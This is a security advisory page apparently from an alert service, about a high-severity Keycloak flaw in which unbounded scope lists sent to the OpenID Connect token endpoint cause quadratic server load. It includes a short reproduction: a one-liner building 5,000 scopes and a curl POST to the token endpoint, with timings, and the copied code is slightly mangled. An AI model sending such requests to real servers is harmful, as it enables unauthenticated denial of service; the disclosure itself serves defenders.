REDHAT-BUG-2450250: High severity Red Hat Keycloak vulnerability

Published Mar 23, 2026
·
Updated

When receiving a POST request on the OpenID Connect token endpoint, Keycloak fails to limit the passed-in scopes, which leads to a high resource usage in Keycloak.

1. Generate a long list of scopes

SCOPE5K=$(python3 -c "print(' '.join(['scope'+str for i in range(5000)]))") echo "Scope parameter length: ${#SCOPE5K} bytes"

2. Post a ROPC Grant:

time curl -s -o /dev/null -w "admin-cli 5K scopes: HTTP %{httpcode} (%{timetotal}s)\n" \ -X POST "${KCURL}/realms/master/protocol/openid-connect/token" \ -d "granttype=password&clientid=admin-cli&username=x&password=x&scope=${SCOPE5K}"

Root cause: TokenManager.getRequestedClientScopes() at line 658 performs String.contains() on the entire scope parameter string for each default client scope, resulting in O(n²) processing time.

A single POST request with ~49KB of scope values causes 38.6 seconds of server-side processing; with ~99KB it reaches 151.8 seconds

The same problem occurs for client credential grants and token refreshes - in the case of token refreshes the problem occurs even before checking the token, so any token can be used, allowing any unauthenticated attacker to perform this.

Affected Software

1 affected component
Red Hat Keycloak

Event History

Mar 23, 2026
Data Sourced
via Red Hat·08:41 AM
DescriptionSeverityAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of REDHAT-BUG-2450250?

The severity of REDHAT-BUG-2450250 is considered high due to its potential for causing excessive resource usage in Keycloak.

2

How do I fix REDHAT-BUG-2450250?

To fix REDHAT-BUG-2450250, update your Keycloak version to incorporate the latest patches addressing this issue.

3

What causes REDHAT-BUG-2450250?

REDHAT-BUG-2450250 is caused by Keycloak's inability to limit the number of scopes that can be sent in a POST request to the OpenID Connect token endpoint.

4

Who is affected by REDHAT-BUG-2450250?

All users of Red Hat Keycloak are affected by REDHAT-BUG-2450250, particularly those utilizing the OpenID Connect token endpoint.

5

What action should I take if I cannot update Keycloak for REDHAT-BUG-2450250?

If you cannot update Keycloak, you should implement request validation to limit the number of scopes in POST requests to mitigate the impact of REDHAT-BUG-2450250.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203